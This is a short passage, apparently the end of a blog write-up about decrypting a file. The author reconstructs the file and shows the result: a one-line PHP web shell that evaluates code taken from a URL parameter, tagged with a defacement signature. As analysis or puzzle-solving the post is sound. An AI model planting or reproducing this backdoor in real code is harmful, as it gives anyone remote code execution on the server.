Then I reconstructed the file using what seemed like the most probable value if there was several solutions.

Final decrypted file:

<?php eval($_GET['malicious_code']);//HACKED BY ALLAhCR3W

Curious to see if there is some way to find the good solution programmaticaly.

Tagged as: Comments Off